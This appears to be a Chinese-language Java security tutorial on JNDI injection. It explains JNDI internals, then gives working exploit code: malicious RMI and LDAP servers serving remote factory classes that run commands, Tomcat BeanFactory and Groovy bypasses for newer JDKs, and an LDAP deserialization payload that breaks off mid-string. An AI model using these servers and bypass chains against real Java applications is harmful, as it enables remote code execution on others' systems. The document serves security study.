Java安全学习——JNDI注入

JNDI

概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口。JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务目录服务,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。简单来说,开发人员通过合理的使用JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务。如下图所示

这里我们提到了两个词,命名服务(Naming Server)和目录服务(Directory Server),那么什么是命名服务和目录服务呢?

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址。这些都可以叫做命名服务。

在命名服务中,有几个重要的概念。

  • Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件。
  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

目录服务(Directory Service)

简单来说,目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。

一些常见的目录服务有:

  • LDAP: 轻型目录访问协议
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 X.500 (目录服务的标准) 实现的目录服务;

JNDI SPI

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示

SPI(Service Provider Interface),即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。

JDK 中包含了下述内置的命名目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户无需重复修改代码。

JNDI代码示例

JNDI 接口主要分为下述 5 个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

下面我们通过具体代码来看看JNDI是如何实现与各服务进行交互的。

JNDI_RMI

JDK版本为JDK8u_65

首先在本地起一个RMI服务

接口 IHello.java

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}

RMI_Server.java

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server {

    public class RMIHello extends UnicastRemoteObject implements IHello {
        protected RMIHello() throws RemoteException{
            super();
        }

//        protected RMIHello() throws RemoteException{
//            UnicastRemoteObject.exportObject(this,0);
//        }

        @Override
        public String sayHello(String name) throws RemoteException {
            System.out.println("Hello World!");
            return name;
        }
    }

    private void register() throws Exception{
        RMIHello rmiHello=new RMIHello();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/hello",rmiHello);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server().register();
    }
}

启动RMI服务

然后通过JNDI接口调用远程类

JNDI_RMI.java

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class JNDI_RMI {
    public static void main(String[] args) throws Exception {

        //设置JNDI环境变量
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        

        //初始化上下文
        Context initialContext = new InitialContext(env);

        //调用远程类
        IHello ihello = (IHello) initialContext.lookup("hello");
        System.out.println(ihello.sayHello("Feng"));

    }
}

结果如下

注意这里我们同样需要实现IHello接口,并且包名和RMI Server端相同,不然会报no security manager: RMI class loader disabled错误。

JNDI_DNS

我们再以JDK内置的DNS目录服务为例

JNDI_DNS.java

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JNDI_DNS {
    public static void main(String[] args) {
        Hashtable<String,String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://192.168.43.1");

        try {
            DirContext ctx = new InitialDirContext(env);
            Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }

    }
}

结果如下

JNDI的工作流程

在上文,我们通过JNDI成功地调用了RMI和DNS服务。那么对于JNDI来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的Context(上下文)了。

初始化Context

我以RMI服务为例

        //设置JNDI环境变量
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        
        //初始化上下文
        Context initialContext = new InitialContext(env);

首先使用Hashtable类来设置属性INITIAL_CONTEXT_FACTORYPROVIDER_URL的值。可以看到,这里我们将INITIAL_CONTEXT_FACTORY设置为了"com.sun.jndi.rmi.registry.RegistryContextFactory",JNDI正是通过这一属性来判断我们将要调用何种服务。

接着我们将属性PROVIDER_URL设置为了"rmi://localhost:1099",这正是我们RMI服务的地址。JNDI通过该属性来获取服务的路径,进而调用该服务。

最后向InitialContext类传入我们设置的属性值来初始化一个Context,于是我们就获得了一个与RMI服务相关联的上下文Context

当然,初始化Context的方法多种多样,我们来看一下InitialContext类的构造函数

//构建一个默认的初始上下文
public InitialContext();

//构造一个初始上下文,并选择不初始化它。
protected InitialContext(boolean lazy);

//使用提供的环境变量初始化上下文。
public InitialContext(Hashtable<?,?> environment);

所以我们还可以用如下方式来初始化一个Context

//设置JNDI环境变量
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");

//初始化上下文
InitialContext initialContext = new InitialContext();

通过Context与服务交互

和RMI类似,Context同样通过以下五种方法来与被调用的服务进行交互

//将名称绑定到对象
bind(Name name, Object obj)

//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name) 

//检索命名对象
lookup(String name)

//将名称重绑定到对象 
rebind(String name, Object obj) 

//取消绑定命名对象
unbind(String name) 

JNDI底层实现

上下文的初始化

我们通过JNDI来设置不同的上下文,就可以调用不同的服务。那么JNDI接口是如何实现这一功能的呢?这里我们仍以JNDI_RMI为例,我们从上下文的初始化开始。

获取工厂类

InitalContext#InitalContext()中,通过我们传入的HashTable进行init。

最终跟到NamingManager#getInitialContext()

这里首先通过getInitialContextFactoryBuilder()初始化了一个InitialContextFactoryBuilder类。如果该类为空,则将className设置为INITIAL_CONTEXT_FACTORY属性。还记得该属性是什么吗?就是我们手动设置的RMI上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory

再往下看

这里通过loadClass()来动态加载我们设置的工厂类。最终调用的其实是RegistryContextFactory#getInitialContext()方法,通过我们的设置工厂类来初始化上下文Context。

现在我们知道了,JNDI是通过我们设置的INITIAL_CONTEXT_FACTORY工厂类来判断将上下文初始化为何种类型,进而调用该类型上下文所对应的服务。调用链如下

获取服务交互所需资源

现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?我们接着上文,跟到RegistryContextFactory#getInitialContext()

这里的var1就是我们设置的两个环境变量,跟进getInitCtxURL()

JNDI通过我们设置的PROVIDER_URL环境变量来获取服务的路径,接着在URLToContext()方法中初始化了一个rmiURLContextFactory类,并根据服务路径来获取实例。

跟到rmiURLContextFactory#getUsingURL()

调用了lookup()方法。跟到RegistryContext#lookup()中,根据上述过程中获取的信息初始化了一个新的RegistryContext

可见,在最终初始化的时候获取了一系列RMI通信过程中所需的资源,包括RegistryImpl_Stub类、pathport等信息。如下图

JNDI在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。

各种调用链如下

JNDI动态协议转换

上面两个例子中,我们手动设置了属性INITIAL_CONTEXT_FACTORYPROVIDER_URL的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。

但实际上,在 Context#lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径。来看下面的例子

import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
            String string = "rmi://localhost:1099/hello";
            InitialContext initialContext = new InitialContext();
            IHello ihello = (IHello) initialContext.lookup(string);
            System.out.println(ihello.sayHello("Feng"));
        }
}

运行结果如下

可以看到,我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出了我们要调用的服务以及路径,这就是JNDI的动态协议转换。

动态协议转换的底层实现

首先从lookup()开始跟进

注意到其实我们不管调用的是lookup、bind或者是其他initalContext中的方法,都会调用getURLOrDefaultInitCtx()方法进行检查。

跟进getURLOrDefaultInitCtx()方法,会通过getURLScheme()方法来获取通信协议,比如这里获取到的是rmi协议

接着跟据获取到的协议,通过NamingManager#getURLContext()来调用getURLObject()方法

最终在getURLObject()方法中,根据defaultPkgPrefix属性动态生成Factory

我们看一下JNDI默认支持那些动态协议转换。当我们针对JNDI进行攻击的时候可以优先考虑以下几种服务

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。

假如我们能够控制string字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。

JNDI Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。

这听起来是不是有点像RMI中Codebase的功能?当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。

Reference类常用构造函数如下

//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className,  String factory, String factoryLocation) 

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

JNDI注入

通过以上实例可以清晰的看到看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。

JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

JNDI+RMI

在攻击RMI服务的时候我们提到过通过远程加载Codebase的方式来加载恶意的远程类到服务器上。和Codebase类似,我们也可以使用Reference类来从远程加载恶意类。JDK版本为JDK8u_65,攻击代码如下

RMI_Server_Reference.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_Server_Reference {


     void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server_Reference().register();
    }
}

其中RMIHello为我们要远程访问的类,如下

RMIHello.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

//远程工厂类
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
    public RMIHello() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public String sayHello(String name) throws RemoteException {
        System.out.println("Hello World!");
        return name;
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

}

注意,RMIHello类需要继承ObjectFactory类,并且构造函数需要为public

受害客户端如下,我们将lookup()参数控制位我们恶意RMI服务的地址

JNDI_Dynamic.java

import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
            String string = "rmi://localhost:1099/hello";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(string);
        }
}

我们搭建好恶意的RMI服务器,并且在远端服务器上放置恶意类。客户端成功调用并初始化我们远端的恶意类

JNDI+LDAP

LDAP简介

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

dn :一条记录的详细位置
dc :一条记录所属区域    (哪一颗树)
ou :一条记录所属组织    (哪一个分支)
cn/uid:一条记录的名字/ID   (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。

假设你要树上的一个苹果(一条记录),你怎么告诉园丁它的位置呢?当然首先要说明是哪一棵树(dc,相当于MYSQL的DB),然后是从树根到那个苹果所经过的所有“分叉”(ou),最后就是这个苹果的名字(uid,相当于MySQL表主键id)。

当然,我们也可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。LDAP能够存储的Java对象如下

  • Java 序列化
  • JNDI的References
  • Marshalled对象
  • Remote Location

攻击测试

首先下载LDAP依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>

启动LDAP服务,JDAP_Server.java。其中设置我们的恶意对象类为EXP,Codebase为http://127.0.0.1:8888/#EXP

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

受害者服务器 JNDI_Dynamic.java

import javax.naming.InitialContext;

public class JNDI_LDAP {
    public static void main(String[]args) throws Exception{
        String string = "ldap://localhost:9999/EXP";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

远程恶意类EXP.java,编译后放置在远程服务器上

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EXP implements ObjectFactory {
    public EXP() throws Exception{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

成功执行

JDK高版本限制

在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly的值必须为false。但是从JDK 6u457u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true

JNDI_RMI_Reference限制

JNDI同样有类似的限制,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。如下所示

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at JNDI_Dynamic.main(JNDI_Dynamic.java:7)

Process finished with exit code 1

JNDI_LDAP_Reference限制

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.18u1917u2016u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false,对应的CVE编号为:CVE-2018-3149

源码分析

这里我们以RMI服务为例

JDK_8u65

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类。

JDK_8u241

同样是在RegistryContext#decodeObject()方法,这里增加了对类型以及trustURLCodebase的检查。

绕过高版本限制

使用本地的Reference Factory类

8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory

需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()方法。

Tomcat8

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

服务端和客户端加载依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.lucee</groupId>
    <artifactId>javax.el</artifactId>
    <version>3.0.0</version>
</dependency>

恶意RMI服务端,RMI_Server_Bypass.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_ByPass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Tomcat8bypass", referenceWrapper);
        System.out.println("Registry运行中......");

    }
}

受害客户端,JNDI_Dynamic.java

import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
            String string = "rmi://localhost:1099/Tomcat8bypass";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(string);
        }
}

成功调用

源码分析

我们直接从获取到本地工厂类BeanFactory开始,调用BeanFactory#getObjectInstance()方法,看看BeanFactory都干了那些事情

首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor

forceString可以给属性强制指定一个setter方法,这里将属性fastersetterName设置为了public java.lang.Object javax.el.ELProcessor.eval()

接着传入faster的setter的参数,也就是Runtime.getRuntime().exec("calc")。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))

eval()会对EL表达式进行求值,进而命令执行。

Groovy

在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言,也就意味着命令执行

@ASTTest是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest可以放置在任何可注释节点上。

因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析Groovy脚本。

添加如下依赖

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.5</version>
</dependency>

恶意服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
        String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
        resourceRef.add(new StringRefAddr("faster",script));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Groovy2bypass", referenceWrapper);
        System.out.println("Registry运行中......");
    }
}

反序列化攻击

在LDAP中,Java有多种方式进行数据存储

  • 序列化数据
  • JNDI Reference
  • Marshalled Object
  • Remote Location

同时LDAP也可以为存储的对象指定多种属性

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

如果LDAP存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过LDAP来传输恶意序列化对象。

测试攻击

手动引入CC3.2.1依赖,模拟存在CC漏洞的客户端。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

恶意LDAP服务端 LDAP_Server_ByPass_Serialize.java

相较于原始的LDAP服务器,我们只需要略微改动即可,将被存储的类的属性值javaSerializeData更改为序列化payload即可

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAP_Server_ByPass_Serialize {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1/#EXP"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //getObject获取Gadget
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
//                    "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHnQAA0NDNXQACENDNS5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAF